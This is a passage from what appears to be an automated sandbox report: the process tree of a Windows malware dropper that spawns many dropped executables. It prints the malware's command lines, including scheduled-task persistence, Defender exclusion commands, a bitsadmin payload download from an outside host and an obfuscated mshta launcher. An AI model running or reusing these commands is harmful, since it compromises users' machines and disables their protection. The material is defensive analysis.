        "C:\Users\Admin\Pictures\Adobe Films\j2GjQTQ2COPCCNWh2mxv5jpx.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5704
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6700
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Executes dropped EXE
        
        PID:2124
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6688
        
        C:\Users\Admin\Documents\xg3kF5gJwwzT1tfvlF372YyR.exe
        
        "C:\Users\Admin\Documents\xg3kF5gJwwzT1tfvlF372YyR.exe"
        7⤵
        
        PID:2600
        
        C:\Users\Admin\Pictures\Adobe Films\2PJ1fJ3qrPog7SfyhQC0HgyK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2PJ1fJ3qrPog7SfyhQC0HgyK.exe"
        8⤵
        
        PID:6512
        
        C:\Users\Admin\Pictures\Adobe Films\Od3ea3Nx4kC7CeRITTUKyY7b.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Od3ea3Nx4kC7CeRITTUKyY7b.exe" /mixtwo
        8⤵
        
        PID:2520
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2520 -s 244
        9⤵
        Program crash
        
        PID:7296
        
        C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe"
        8⤵
        
        PID:5052
        
        C:\Users\Admin\Pictures\Adobe Films\DKyJ9dIl2pFT9d4Wv4S9XYSA.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DKyJ9dIl2pFT9d4Wv4S9XYSA.exe"
        8⤵
        
        PID:6604
        
        C:\Users\Admin\Pictures\Adobe Films\CeceBhzTe9Ozye9HKxD1zYcP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CeceBhzTe9Ozye9HKxD1zYcP.exe"
        8⤵
        
        PID:6404
        
        C:\Users\Admin\Pictures\Adobe Films\F2alYhBEuUf1Xj6HY5R1n1Fc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\F2alYhBEuUf1Xj6HY5R1n1Fc.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
        
        C:\Users\Admin\Pictures\Adobe Films\5O_QXfXqxIoakDex7ZJxxCcT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\5O_QXfXqxIoakDex7ZJxxCcT.exe" silent
        8⤵
        
        PID:7160
        
        C:\Users\Admin\Pictures\Adobe Films\hUpKZOJwcMrg4UVvYqA4Buaj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hUpKZOJwcMrg4UVvYqA4Buaj.exe"
        8⤵
        
        PID:6448
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6448 -s 240
        9⤵
        Program crash
        
        PID:7276
        
        C:\Users\Admin\Pictures\Adobe Films\Dttca2NR7JB7GtOVR5P6_OVn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Dttca2NR7JB7GtOVR5P6_OVn.exe"
        8⤵
        
        PID:2332
        
        C:\Users\Admin\AppData\Roaming\1955268.scr
        
        "C:\Users\Admin\AppData\Roaming\1955268.scr" /S
        9⤵
        
        PID:4040
        
        C:\Users\Admin\AppData\Roaming\5594086.scr
        
        "C:\Users\Admin\AppData\Roaming\5594086.scr" /S
        9⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Roaming\5856181.scr
        
        "C:\Users\Admin\AppData\Roaming\5856181.scr" /S
        9⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Roaming\6528033.scr
        
        "C:\Users\Admin\AppData\Roaming\6528033.scr" /S
        9⤵
        
        PID:7360
        
        C:\Users\Admin\AppData\Roaming\6057117.scr
        
        "C:\Users\Admin\AppData\Roaming\6057117.scr" /S
        9⤵
        
        PID:7460
        
        C:\Users\Admin\Pictures\Adobe Films\6ZfOpJY0OAsKOSuj7ytyAg87.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6ZfOpJY0OAsKOSuj7ytyAg87.exe"
        8⤵
        
        PID:5216
        
        C:\Users\Admin\AppData\Local\Temp\is-ILTB4.tmp\6ZfOpJY0OAsKOSuj7ytyAg87.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ILTB4.tmp\6ZfOpJY0OAsKOSuj7ytyAg87.tmp" /SL5="$202B4,506127,422400,C:\Users\Admin\Pictures\Adobe Films\6ZfOpJY0OAsKOSuj7ytyAg87.exe"
        9⤵
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\is-HCF2U.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-HCF2U.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        
        PID:4356
        
        C:\Program Files\Windows Mail\JMUDTDHUJK\foldershare.exe
        
        "C:\Program Files\Windows Mail\JMUDTDHUJK\foldershare.exe" /VERYSILENT
        11⤵
        
        PID:7032
        
        C:\Users\Admin\AppData\Local\Temp\90-886b2-c94-eac84-3088121e70eb2\Rulenaeliny.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90-886b2-c94-eac84-3088121e70eb2\Rulenaeliny.exe"
        11⤵
        
        PID:5308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        12⤵
        
        PID:10812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e5f746f8,0x7ff8e5f74708,0x7ff8e5f74718
        13⤵
        
        PID:6128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:2
        13⤵
        
        PID:132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
        13⤵
        Executes dropped EXE
        
        PID:2556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2620 /prefetch:8
        13⤵
        
        PID:2264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
        13⤵
        
        PID:2912
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
        13⤵
        
        PID:2676
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5324 /prefetch:1
        13⤵
        
        PID:8112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
        13⤵
        
        PID:1488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5720 /prefetch:8
        13⤵
        
        PID:9248
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5720 /prefetch:8
        13⤵
        
        PID:9400
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5828 /prefetch:2
        13⤵
        
        PID:6256
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
        13⤵
        
        PID:4476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,8792926071800066277,11757942139687768227,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6000 /prefetch:1
        13⤵
        
        PID:9468
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        12⤵
        
        PID:9180
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff8e5f746f8,0x7ff8e5f74708,0x7ff8e5f74718
        13⤵
        
        PID:6460
        
        C:\Users\Admin\AppData\Local\Temp\c1-e06a9-5f0-6c9a2-f0b84eff33e3d\Mesylypaegu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c1-e06a9-5f0-6c9a2-f0b84eff33e3d\Mesylypaegu.exe"
        11⤵
        
        PID:6464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gtpietuu.gn0\GcleanerEU.exe /eufive & exit
        12⤵
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\gtpietuu.gn0\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\gtpietuu.gn0\GcleanerEU.exe /eufive
        13⤵
        
        PID:10500
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10500 -s 244
        14⤵
        Program crash
        
        PID:7052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hnyj3lbz.yg0\installer.exe /qn CAMPAIGN="654" & exit
        12⤵
        
        PID:9792
        
        C:\Users\Admin\AppData\Local\Temp\hnyj3lbz.yg0\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\hnyj3lbz.yg0\installer.exe /qn CAMPAIGN="654"
        13⤵
        
        PID:10020
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\hnyj3lbz.yg0\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\hnyj3lbz.yg0\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1633811135 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        14⤵
        
        PID:8076
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\otkrgk1f.1fw\any.exe & exit
        12⤵
        
        PID:9924
        
        C:\Users\Admin\AppData\Local\Temp\otkrgk1f.1fw\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\otkrgk1f.1fw\any.exe
        13⤵
        
        PID:10324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jmvflyps.4pz\gcleaner.exe /mixfive & exit
        12⤵
        
        PID:10140
        
        C:\Users\Admin\AppData\Local\Temp\jmvflyps.4pz\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\jmvflyps.4pz\gcleaner.exe /mixfive
        13⤵
        
        PID:10572
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10572 -s 240
        14⤵
        Program crash
        
        PID:3376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jszxddr1.szu\autosubplayer.exe /S & exit
        12⤵
        
        PID:7080
        
        C:\Users\Admin\AppData\Local\Temp\jszxddr1.szu\autosubplayer.exe
        
        C:\Users\Admin\AppData\Local\Temp\jszxddr1.szu\autosubplayer.exe /S
        13⤵
        
        PID:10712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:7756
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        Loads dropped DLL
        
        PID:2460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:8828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:9336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:10444
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:11100
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        Blocklisted process makes network request
        
        PID:2600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc149A.tmp\tempfile.ps1"
        14⤵
        
        PID:5636
        
        C:\Windows\SysWOW64\bitsadmin.exe
        
        "bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
        14⤵
        Download via BitsAdmin
        
        PID:4696
      - C:\Users\Admin\Pictures\Adobe Films\_OuYq4Lfj_XW4T3CNoPfocPZ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_OuYq4Lfj_XW4T3CNoPfocPZ.exe"
        6⤵
        Executes dropped EXE
        
        PID:5892
      - C:\Users\Admin\Pictures\Adobe Films\CrrgT02qFTmVed8k_ghfItbK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CrrgT02qFTmVed8k_ghfItbK.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5884
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        
        PID:6784
      - C:\Users\Admin\Pictures\Adobe Films\TdM1WBHUKwF06XglxE_fm9Rm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TdM1WBHUKwF06XglxE_fm9Rm.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5876
      - C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5868
        
        C:\Users\Admin\AppData\Local\Temp\9173e71e-a101-4004-ac73-3bff0174fdaf\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9173e71e-a101-4004-ac73-3bff0174fdaf\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\9173e71e-a101-4004-ac73-3bff0174fdaf\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:7076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9173e71e-a101-4004-ac73-3bff0174fdaf\test.bat"
        8⤵
        
        PID:6404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe" -Force
        7⤵
        
        PID:4000
        
        C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe"
        7⤵
        
        PID:7040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\6J9DhsHlsxbkr9duSvJoRQMf.exe" -Force
        7⤵
        
        PID:6644
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5868 -s 2452
        7⤵
        Program crash
        
        PID:3200
      - C:\Users\Admin\Pictures\Adobe Films\3n0lPQ59SYWRzNWg0_ezJaIg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3n0lPQ59SYWRzNWg0_ezJaIg.exe"
        6⤵
        Executes dropped EXE
        
        PID:6028
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6028 -s 240
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:5488
      - C:\Users\Admin\Pictures\Adobe Films\hSZtEKNRzVmNJuZBDfsbw09G.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hSZtEKNRzVmNJuZBDfsbw09G.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1472
      - C:\Users\Admin\Pictures\Adobe Films\0x5JoOA0qc_A3Xu_cZJovnTJ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0x5JoOA0qc_A3Xu_cZJovnTJ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1524
        
        C:\Users\Admin\Pictures\Adobe Films\0x5JoOA0qc_A3Xu_cZJovnTJ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0x5JoOA0qc_A3Xu_cZJovnTJ.exe"
        7⤵
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5180
      - C:\Users\Admin\Pictures\Adobe Films\iIPwg2I6JL2EMW37eG_udyW4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\iIPwg2I6JL2EMW37eG_udyW4.exe"
        6⤵
        Executes dropped EXE
        
        PID:4476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 240
        7⤵
        Program crash
        
        PID:5596
      - C:\Users\Admin\Pictures\Adobe Films\NoJ3BXARss740upw2S9QDNHu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\NoJ3BXARss740upw2S9QDNHu.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1092
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1092 -s 1932
        7⤵
        Program crash
        
        PID:3056
      - C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6092
        
        C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe"
        7⤵
        
        PID:5404
        
        C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L51Hk0E4_bkp8XS6I6qjfn44.exe"
        7⤵
        
        PID:6516
      - C:\Users\Admin\Pictures\Adobe Films\j8H0iiE7FffUjYPCQwy4Ndw0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j8H0iiE7FffUjYPCQwy4Ndw0.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5276
        
        C:\Users\Admin\AppData\Roaming\5631004.scr
        
        "C:\Users\Admin\AppData\Roaming\5631004.scr" /S
        7⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Roaming\5737109.scr
        
        "C:\Users\Admin\AppData\Roaming\5737109.scr" /S
        7⤵
        Checks whether UAC is enabled
        
        PID:2788
        
        C:\Users\Admin\AppData\Roaming\1856422.scr
        
        "C:\Users\Admin\AppData\Roaming\1856422.scr" /S
        7⤵
        
        PID:6548
        
        C:\Users\Admin\AppData\Roaming\3784405.scr
        
        "C:\Users\Admin\AppData\Roaming\3784405.scr" /S
        7⤵
        Executes dropped EXE
        
        PID:2376
        
        C:\Users\Admin\AppData\Roaming\6550434.scr
        
        "C:\Users\Admin\AppData\Roaming\6550434.scr" /S
        7⤵
        
        PID:1660
      - C:\Users\Admin\Pictures\Adobe Films\mmO19sepSp5ESkzYC4rxfd6O.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mmO19sepSp5ESkzYC4rxfd6O.exe"
        6⤵
        Executes dropped EXE
        
        PID:5312
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5312 -s 244
        7⤵
        Program crash
        
        PID:5436
      - C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe"
        6⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
        7⤵
        
        PID:5676
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02&iF "" == "" for %I iN ( "C:\Users\Admin\Pictures\Adobe Films\E5v_XwG9y3AdwUh1zHQWB31i.exe" ) do taskkill -iM "%~NXI" -f
        8⤵
        
        PID:956
        
        C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE
        
        ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02
        9⤵
        
        PID:5160
        
        C:\Windows\SysWOW64\mshta.exe
        
